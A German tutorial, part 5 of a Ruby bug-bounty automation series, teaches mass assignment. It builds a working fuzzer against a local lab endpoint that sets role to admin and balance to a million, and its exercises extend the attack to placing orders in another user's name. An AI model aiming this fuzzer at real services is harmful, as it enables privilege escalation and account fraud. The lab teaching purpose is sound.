// Bug-Bounty-Automatisierung in Ruby · Teil 5
Die Eingaben fuzzen
Wir hören auf, die Felder zu senden, die die API erwartet, und fangen an, die zu senden, die sie nicht erwartet. Ein Profil-Update-Endpunkt, der alles zusammenführt, was du ihm gibst, wird zum Weg, deine eigene Rolle und deinen Kontostand zu setzen — Mass Assignment. Wir bauen einen kleinen Fuzzer, um ihn zu finden, und lernen dabei Blöcke und yield.
Bisher haben wir wohlgeformte Anfragen gesendet. Fuzzing ist der gegenteilige Instinkt: sende Eingaben, die der Entwickler nicht eingeplant hat — zusätzliche Felder, falsche Typen, Werte außerhalb des Bereichs — und beobachte, was bricht. Der Bug, hinter dem wir diesen Teil her sind, ist Mass Assignment: ein Endpunkt, der deinen JSON-Körper nimmt und alles davon in einen Datensatz zusammenführt, einschließlich Feldern, die zu kontrollieren du nie vorgesehen warst.
Das Labor lässt dich dein eigenes Profil mit PATCH /api/me aktualisieren.
Beginne fuzz.rb mit einem Login-Helfer und einem PATCH:
require 'net/http'
require 'json'
require 'uri'
BASE = 'http://127.0.0.1:4567'
def login(name)
res = Net::HTTP.post(URI("#{BASE}/login"), { 'name' => name }.to_json,
'Content-Type' => 'application/json')
JSON.parse(res.body)['token']
end
def patch(path, token, body)
uri = URI("#{BASE}#{path}")
req = Net::HTTP::Patch.new(uri)
req['Authorization'] = "Bearer #{token}"
req['Content-Type'] = 'application/json'
req.body = body.to_json
Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end
Der beabsichtigte Gebrauch, dann der Missbrauch
Zuerst der legitime Weg — den Anzeigenamen aktualisieren —, damit wir wissen, dass der Endpunkt funktioniert, und unseren Ausgangszustand sehen:
token = login('alice')
before = JSON.parse(patch('/api/me', token, 'name' => 'alice').body)
puts "[*] start: role=#{before['role']} balance=#{before['balance']}"
$ ruby fuzz.rb
[*] start: role=user balance=1000
Jetzt der Missbrauch. Der Endpunkt soll uns unseren Namen ändern lassen. Aber
wenn er den ganzen Körper blind zusammenführt, akzeptiert er auch Felder, die er
schützen sollte — wie role und balance. Sende sie und finde es heraus:
loot = JSON.parse(patch('/api/me', token, 'role' => 'admin', 'balance' => 1_000_000).body)
puts "[+] after: role=#{loot['role']} balance=#{loot['balance']}"
$ ruby fuzz.rb
...
[+] after: role=admin balance=1000000
Eine Anfrage beförderte einen normalen Benutzer zum admin und setzte seinen
Kontostand auf eine Million. Der Endpunkt hatte nie eine Liste von Feldern, die
er ändern durfte, also änderte er, was immer wir nannten. Das ist Mass
Assignment.
Daraus einen Fuzzer machen
role und balance zu raten funktionierte, weil wir die Domäne kennen. Ein
Fuzzer automatisiert das Raten: wirf eine Liste sensibler Feldnamen auf den
Endpunkt und melde, welche haften bleiben. Das ist ein guter Moment, um
Blöcke kennenzulernen — die Code-Brocken in do ... end, die du
herumgereicht hast — und yield, das einen davon ausführt.
Schreib eine fuzz-Methode, die Payloads abläuft und jede an einen Block
übergibt, sodass der Aufrufer entscheidet, wie getestet wird:
def fuzz(payloads)
payloads.each do |field, value|
accepted = yield(field, value)
puts " #{field.ljust(9)} <- #{value.inspect.ljust(9)} #{accepted ? 'ACCEPTED' : 'ignored'}"
end
end
yield(field, value) ruft den Block auf, den du an fuzz übergibst, mit diesen
beiden Argumenten, und nutzt den Wert, den der Block zurückgibt. Ruf sie nun mit
einer Menge von Feldern auf, die einen Angreifer interessieren, und einem Block,
der jedes PATCHt und prüft, ob der Server unseren Wert zurückgespiegelt hat:
SENSITIVE = { 'role' => 'admin', 'balance' => 9_999, 'is_admin' => true, 'verified' => true }
fresh = login('bob')
fuzz(SENSITIVE) do |field, value|
result = JSON.parse(patch('/api/me', fresh, field => value).body)
result[field] == value
end
$ ruby fuzz.rb
...
role <- "admin" ACCEPTED
balance <- 9999 ACCEPTED
is_admin <- true ACCEPTED
verified <- true ACCEPTED
Jedes Feld blieb haften, weil dieser Endpunkt ohne Whitelist zusammenführt. Bei
einem echten Ziel käme das meiste einer solchen Liste als ignored zurück und
ein oder zwei würden ACCEPTED lauten — und die sind dein Fund. Der Wert des
Fuzzers ist nicht, dass er role probierte; es ist, dass er vierzig Felder
probierte, während du deine E-Mails last, und dir sagte, welche zwei zählten.
Erkenntnisse
- Mass Assignment: Ein Endpunkt, der deinen ganzen Körper in einen Datensatz
zusammenführt, lässt dich Felder schreiben, die dir nicht gehören —
role,balance,is_admin. Sende das beabsichtigte Feld plus ein paar sensible und sieh, was haften bleibt. - Ein Block ist Code in
do |args| ... end, an eine Methode übergeben;yieldführt ihn aus und gibt seinen Wert zurück. Er lässt eine Methode (fuzz) das Schleifen besitzen, während der Aufrufer den Test besitzt. .inspectzeigt einen Wert so, wie du ihn tippen würdest ("admin",true);.ljusthält Spalten bündig.- Die Aufgabe eines Fuzzers ist Abdeckung: probiere die ganze Liste mechanisch, bring die Treffer an die Oberfläche.
Übungen
- Erweitere
SENSITIVEum Felder, die eine echte App schützen könnte —email_verified,credits,plan,owner_id— und lass es erneut laufen. Die Technik ändert sich nicht, nur die Wortliste. - Fuzze Typen, nicht nur Felder: sende
balanceals String"abc", als Array und als negative Zahl. Validiert der Endpunkt irgendeines davon? - Richte den Fuzzer auf
POST /api/orders(das seinen Körper ebenfalls zusammenführt). Kannst du eine Order mit eineruser_idplatzieren, die nicht deine ist — eine Order in fremdem Namen?
Weiter — Teil 6: Eine Anfrage machte uns reich. In Teil 6 senden wir viele auf einmal — wir feuern den Coupon-Endpunkt nebenläufig ab, um eine einmalige Belohnung mehrfach einzulösen, bevor der Server es merkt. Threads und ein Rennen.